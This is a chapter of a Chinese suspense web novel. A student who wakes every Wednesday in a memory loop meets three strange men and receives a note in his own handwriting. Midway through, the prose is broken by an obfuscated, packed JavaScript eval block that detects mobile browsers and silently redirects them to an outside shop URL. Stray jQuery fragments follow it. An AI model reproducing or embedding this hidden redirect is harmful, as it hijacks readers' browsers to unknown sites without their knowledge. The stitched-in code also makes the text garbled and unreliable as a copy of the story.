纸条上的字迹，是君荼白自己的。
可他不记得写过这个。
纸片边缘沾着暗红，像干涸的血。背面画着一个扭曲的、首尾相连的环——与他每周三凌晨在卧室窗玻璃上无意识画出的，一模一样。
“星期三的雨，下到第147场了。”
陌生的男人留下这句话，就消失在了咖啡馆门外的雨幕里。潮湿的冷气灌进来，裹着铁锈与檀香的、只存在于君荼白嗅觉里的气味。
他捏着纸片，指尖冰凉。
一切始于七小时前。
03:17。电子钟幽光闪烁。
君荼白在雨声中准时睁眼，像一具被上好发条的人偶。连续十七个星期三，分秒不差。
左手腕内侧的旧痕灼热发烫，他怀疑皮下是不是埋着一枚即将引爆的炸弹。三年前他在图书馆地下室昏迷后醒来，就有了这道痕。校医说是割伤，但他不记得任何受伤的瞬间。
也不记得那天为什么去地下室。
记忆像被精准擦除的磁带，只留下刺眼的空白。
他突然坐起身。在意识完全清醒之前，身体已经自行动作——赤脚下地，走向窗边。
雨点敲打着玻璃，霓虹在水雾中晕成流动的色块。指尖划过玻璃表面，一个扭曲的环自动成形。
首尾咬合。无限循环。
陌生的熟悉感如潮水涌来，带来一阵尖锐的头痛。昏暗的走廊、摇晃的烛火、遥远的哭声——碎片般的画面闪过，又迅速沉入黑暗。
又是那股气味：铁锈混着檀香。
穿衣时，他习惯性地闻了一下卫衣袖口。洗衣粉的洁净味道下，依然有的那股铁锈和檀香。
“荼白？又醒了？”
室友林澈含糊的声音从隔壁传来。
“雨声太吵了。”君荼白回答。这个理由用了太多次，近乎本能。
“你该去看看医生……总这样半夜醒来……我都快神经衰弱了、君荼白！”林澈咆哮。
君荼白愧疚了一秒。然后走到书桌前，台灯照亮摊开的古籍修复笔记、泛黄的复印件、半杯冷茶。一个普通的文献修复专业研究生，普通的夜晚。
除了他左手腕的痕，还在持续发烫。
而且他的身体会带他做下一个动作。三小时后，他会“准时”前往“渡口”咖啡馆，坐在靠窗第三张桌子，喝一杯杯沿带裂纹的、早已准备好的拿铁。
仿佛他的生活，是一卷被反复擦拭、只留下固定轨迹的磁带。
下午两点，雨未停。
“渡口”咖啡馆暖气充足，空气里漂浮着咖啡焦香和旧木头的味道。吧台后的服务生小陈看见他，眼神闪烁了一下，很快低下头擦拭杯子。
君荼白走向老位置。深蓝色釉面的咖啡杯已经在那儿了，边缘那道细微的裂纹在灯光下泛着微弱的光。
他没点单，但杯子总是在。
第一次问时，小陈说：“老板交代的，有位常客每周三都点这个。”
后来他不再问。有些真相，追问会撕裂本就稀薄的日常。
他坐下，指尖无意识地摩挲那道裂纹。仿佛他曾无数次重复这个动作。
窗外的城市浸泡在雨幕中。玻璃倒映出他苍白的脸、黑色的头发、过于安静的眼睛。有时候他想，这个无趣的倒影真的是他吗？还是某个借用了他的躯壳、却遗忘了所有约定的精神病？
点唱机飘出哀婉的粤语老歌。每次坐在这里都会听到，他没点过，不过他想这种风格也许是老板的固定嗜好。
歌声到第二段副歌时，左手腕的月牙痕剧痛。
声音像是变成了虫子从皮肤钻进骨头，沿手臂窜上肩膀，最后汇聚在锁骨下方三寸，那里有片淡红色的、像胎记的痕迹，此刻突突跳动，仿佛底下埋着第二颗炸弹。
他闷哼一声，攥紧杯子。
几乎同时，咖啡馆的门被推开。
进来的男人穿着深灰色大衣，肩头湿了一片。他摘下眼镜，用丝绒布慢条斯理地擦拭镜片上的水雾，动作从容得像在进行某种仪式。然后他抬头，目光扫过室内。
在看见君荼白的瞬间，男人的动作停滞了几秒。
君荼白的心脏也跟着漏跳一拍。
他不认识这张脸。但骨髓深处有什么东西苏醒了，像磁铁遇到相反的一极，像黑暗中嗅到同类的气息。
几个破碎画面闪过：烛火摇曳的密室、羊皮纸卷、沾血的手指在书写什么……画面带着铁锈味的悲伤，转瞬即逝。
男人走向靠墙的卡座。君荼白的目光不受控制地追随，看见他手腕从袖口露出一截——
那里也有一道月牙形的痕迹。
真是一模一样啊。
反胃感骤然涌上，是某种情绪的强行灌注：愧疚、悔恨、一种扭曲到极致的保护欲……这些不属于他的情感，正通过左手腕发烫的痕迹，蛮横地闯入他的感知。
他猛地移开视线，灌下一大口咖啡。苦味压住喉咙的不适。
窗外的雨更大了。一道闪电划破天际，短暂照亮街道对面的书店屋檐。
屋檐下立着一个标枪。
君荼白觉得那就是个标枪，已经阴魂不散地跟了他很久很久，久到他觉得那就是个标枪。
黑色连帽衫，身形挺拔如标枪。那么大的雨，他却一动不动，面朝咖啡馆的方向，帽檐压得很低。
闪电熄灭，人影没入黑暗。
君荼白转回头，发现那个戴眼镜的男人也在看窗外，侧脸线条绷紧，指节微微发白。
手机在口袋里震动。
他掏出来，屏幕亮着，一条来自未知号码的信息：
“别回头。”
三个字，他最讨厌谜语人。
君荼白的指尖冰凉又按捺不住好奇心。他就要回头的时候，突然从玻璃窗的倒影里，他看见戴眼镜的男人缓缓起身，朝他走来。
脚步声在安静的咖啡馆里清晰如计时秒表。
一步。两步。三步。
男人停在他的桌旁，影子落在咖啡杯边缘，正好切过那道裂纹。他俯身，在君荼白耳边轻声说：
“我叫陆予瞻。”声音压得很低，带着颤抖，像在压抑随时会崩溃的东西，“生日快乐。”
君荼白浑身僵住。
今天不是他的生日。他的生日在七月，现在是深秋。
但男人说完就直起身，留下一张折叠的纸片在桌上，转身走向门口。风铃摇晃，他消失在雨幕里，快得像从未出现过。
纸片是普通的便签纸。君荼白盯着它看了几秒，才伸手拿起。
展开。上面只有一行字：
“星期三的雨，下到第147场了。”
字迹太熟悉了——转折的弧度，收笔的力度，逗号尾巴微微上扬的习惯……
这是他自己的笔迹。
剧烈的头痛毫无征兆地袭来。
颅骨内侧像有什么东西在撕裂、尖叫。破碎的声音在耳膜上炸开：
“……这次要藏得更好……”
“……不能记得，记得就会露馅……”
“……相信身体，相信痛……”
疼痛持续了大概五秒，如潮水退去，留下一身冷汗。君荼白喘息着抬头，发现小陈正担忧地看着他。
“您没事吧？脸色好白……”
“没事。”他把纸片攥进手心，纸边缘硌得掌心生疼，“遇到几个跟踪狂，我可能不小心被人开盒了。”
小陈立马掏出手机报警了。
君荼白也没想拦，他早就想报警了，但是懒。
因为身体在疼痛的余韵里又自动进行了下一步——起身，朝后门走去。好崩溃啊，这个场景难道在他白天梦游的时候又演练过无数次吗，为什么肌肉记得每一步。
后门通往窄巷。雨水在凹凸不平的地面汇成浊流。两侧是潮湿的砖墙和枯萎的藤蔓。
君荼白靠在墙上，重新展开纸片。雨水打湿纸面，墨迹晕开，但那个扭曲的环依然清晰，在昏暗光线下仿佛缓慢旋转。
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|17051997|194818||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
一阵脚步声从巷子深处传来。
鞋跟敲击湿滑石板，从容，稳定，但君荼白觉得这应该又是一个变态。
君荼白抬起头。
从阴影里走出来的男人穿着暗红色丝绸衬衫，领口随意敞开，露出过分苍白的脖颈。他手中把玩着一枚古银币，银币在修长指间翻转，君荼白心里暗叹，可惜了，又是个抛媚眼给瞎子的变态。
君荼白认得这张脸——财经杂志的常客，最年轻的天使投资人，以精准判断力和神秘私生活闻名。
沈鉴。
“找到你了。”沈鉴开口，声音像浸过蜂蜜的酒。
“我不认识你。”君荼白觉得他看过的狗血电视剧里的女主一般都会这么说。
沈鉴的眼睛微微眯起，好像下一秒就会从怀里掏出手术刀。
他走近，丝绸下摆在潮湿空气里轻摆，“事实上，我们已经认识很久了。真的受够了，不要那种表情看我，实验标本。”
“实验标本？”君荼白往后退了一步，正在计算何种速度跑可以脱身。
沈鉴的目光落在他攥着纸片的手上，又移向左手腕的月牙痕。
“第147场雨。”他轻声说，每个字都像在背课文，“‘锚点计划’，唯一存活样本。你是我们在147次‘星期三循环’后，还能保留基础生理记忆的个体。你的身体，比你的大脑记得更牢。”
远处传来警笛声，由远及近。
沈鉴的神情掠过一丝被打扰的不悦，但很快恢复从容。
“今天不是深入交谈的时候。”他收回目光，银币消失在掌心，“但我们很快会再见。在一个更安静、更适合……剖开真相的地方。”
他转身走回阴影，步伐依旧优雅。
警笛声在小巷口停下。
君荼白走出巷子时，闪烁的蓝红警灯把湿漉漉的街道切割成诡异的光块。警车旁站着两个人：穿制服的警察，以及——
黑色连帽衫，身形挺拔，正是之前在书店屋檐下那个人。此刻他摘下了帽子，露出一张轮廓分明的脸，眉眼很深，眼神像某种大型犬科动物在确认领地安全。
“君荼白？”警察问。
他点头。
“有人报警，说看到你被可疑人员跟踪。”警察的目光在他和黑帽衫男人之间移动，“这位周屹先生坚持要跟来，确认你的安全。”
周屹微微颔首，没有说话。但他的存在感强烈到有物理重量，沉默地站在那里，就像一堵无形的墙。
雨彻底停了。
云层散开，露出苍白的月亮。路灯把三人的影子拉长，交错在积水的地面上。
君荼白看着周屹，又回头看了眼深不见底的巷子，最后低头看向自己手心的纸片，已被汗水和雨水浸得发软。
三个陌生人：一个留下自己笔迹的偷窥狂，一个有着表演人格的精神病，一个在警灯下沉默守护的跟踪狂。
而他左手腕来历不明的旧痕，还有每周三准时醒来，身体记得大脑遗忘的事，还会在雨夜看见这些奇怪的人。
很明显，他被人做局了。
雨后空气，冷得刺骨。
做完了笔录，他大脑宕机的回到了公寓，君荼白反锁上门，背靠着门板缓缓滑坐在地。
口袋里那张濡湿的纸片像个滚烫的烙铁。他把它拿出来，摊平在冰冷的地板上。
窗外，月光惨白。
就在他目光再次掠过那个扭曲的环时，
纸片上的墨迹，像被月光激活的隐形墨水，缓缓浮现出第二行字。
依旧是那熟悉的笔迹：
“别相信他们任何一个。包括‘我’。”
君荼白的呼吸骤然停止。
而他的左手腕在死寂的房间里，从疤痕处开始渗出一点微弱的、冰冷的蓝光。
仿佛某个沉睡了的程序，终于收到了启动信号。。
第147场雨，停了。
但星期三的雨季，在他的世界里，从未真正听过。